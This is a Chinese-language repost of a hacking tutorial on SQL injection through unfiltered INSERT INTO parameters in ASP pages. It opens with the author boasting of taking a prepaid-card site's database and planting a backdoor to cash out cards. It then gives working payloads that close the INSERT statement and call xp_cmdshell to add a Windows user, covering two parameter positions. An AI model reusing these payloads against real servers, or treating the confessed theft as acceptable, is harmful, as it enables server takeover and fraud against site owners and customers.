欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页  >  网络运营

巧用数据库insert Into进行入侵注入

程序员文章站 2022-03-19 14:04:40
刚才到了酷吧,坐在收银台旁边和收银的MM聊了几句话; 突然看到"电影影线"有张海报,上面写着: 凡是购买该站点卡密码最后一位数是6或7便可获赠面值5元的易卡一张; ... 08-10-08...
刚才到了酷吧,坐在收银台旁边和收银的mm聊了几句话; 突然看到"电影影线"有张海报,上面写着: 凡是购买该站点卡密码最后一位数是6或7便可获赠面值5元的易卡一张; 我想,这个网站整个数据在我手里,我要是把那几十万张卡全拿去换钱不是发达了? 随即马上到他服务器把库拿下来,顺便在服务器上再留个后门; 在过程中有另一个想法便是本文的重要点;利用insert into 进行注入。
============================================= 关于sql注入,以前常用的或很多朋友所懂的也只不过是在select 语句中id=变量未过产生的注入点,例如http://www.gzint.com/xxx.asp?id=1 ;exec master..xp_cmdshell "net user xiaomo aa /add"-- ============================================= 我们可否利用insert into table的语句进行注入呢?
这样的话,我们可以在某某有漏洞的网站上填写qq或email或地址的地方执行任何命令了哦.
记得以前粗略地和"乱刀"讨论过,不过一直没有实际行动,刚才发现了一下,原来真的可以做到这一点。呵呵。举下例: 某个页面xiaomo.asp中有如下一句代码: conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’1’,’1’,’1’,’1’,’"&request("u")&"’)"
我们可以利用request("u")未过滤的变量执行任意系统命令. 这段很简单,request("u")在语句后面,直接提交: http://localhost/xiaomo.asp?u=2’);exec master..xp_cmdshell "net user xiaomo aa /add"--
便可添加一个xiaomo密码为aa的系统用户 因为构造的代码变成了: conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’1’,’1’,’1’,’1’,’2’);exec master..xp_cmdshell "net user xiaomo aa /add"--
当然理所当然地"正确"执行了。 ============================================= 我们换个思路,如果页面中的漏洞代码是: conn.execute "insert into admin (adminid,password,logintimes,usertype,level) values (’"&request("u")&"’,’1’,’1’,’1’,’1’)"
request("u")跑到前面去了,这该怎么办呢? 其实也很简单,变通一下即可,提交: http://localhost/xiaomo.asp?u=3’,’1’,’1’,’1’,’1’);exec master..xp_cmdshell "net user xiaomo aa /add"----
看出来了没?第一个变量代表了要写入的所有变量,而后面就不而而至了,哈哈。。 但有个问题是,我们必须得知道对方语句是怎么写,利在检查指定程序漏洞时所应用